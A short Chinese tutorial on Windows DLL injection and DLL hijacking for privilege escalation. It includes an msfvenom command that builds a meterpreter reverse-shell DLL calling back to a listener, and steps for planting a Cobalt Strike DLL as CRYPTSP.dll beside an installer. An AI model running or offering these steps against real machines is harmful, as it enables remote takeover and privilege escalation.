DLL注入&DLL劫持[基础]

DLL注入
DLL注入是在某个进程的地址空间的上下文中运行任意代码,如果进程是高权限,攻击者可以利用这个特性提权.
通常需要以下几个步骤:
DLL需要放置在目标环境中
CreateRemoteThread调用LoadLibrary
反射型加载器尝试寻找进程的PEB,通过
kernel32dll
和其他的库来定位地址会用到一些api,LoadLibraryA, GetProcAddress, and VirtualAlloc
dll载入内存
常用方法
生成DLL
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.123.22 LPORT=5566 -f dll > tmp.dll

监听
使用RemoteDLLInjector工具注入

msf生成的dll没执行,cs的可以
除了这个还有PowerSploit的Invoke-DLLInjection 模块等 自行谷歌 dll注入的方式有很多,反射型就是dll文件不落地
DLL劫持
寻找进程中的dll,依然是加载自己的dll,劫持原有的dll 加载顺序
当前应用程序的目录
C:\Windows\System32
C:\Windows\System
C:\Windows
当前工作目录
系统PATH环境变量中的目录
用户PATH环境变量中的目录
用 process monitor
查找缺失的dll
自动化查找 用的三好师傅博客的demo,也是歪果仁的.
https://github.com/sensepost/rattler
https://sensepost.com/blog/2016/rattleridentifying-and-exploiting-dll-preloading-vulnerabilities/
NDP461-KB3102438-Web.exe的下载地址:
http://www.microsoft.com/zh-cn/download/details.aspx?id=49981&134b2bb0-86c1-fe9f-d523-281faef41695=1&fa43d42b-25b5-4a42-fe9b-1634f450f5ee=True

得到可以利用的dll文件
这个自动化工具没找出来,手工看了一下.

然后用cs生成 32bit
的dll
命名为 CRYPTSP.dll
启动安装程序,发现dll已经被成功加载.
细枝末节很多文章说的很清楚了. 链接: https://payloads.online/archivers/2018-06-09/1DLL劫持漏洞自动化识别工具Rattler测试https://github.com/sensepost/rattler




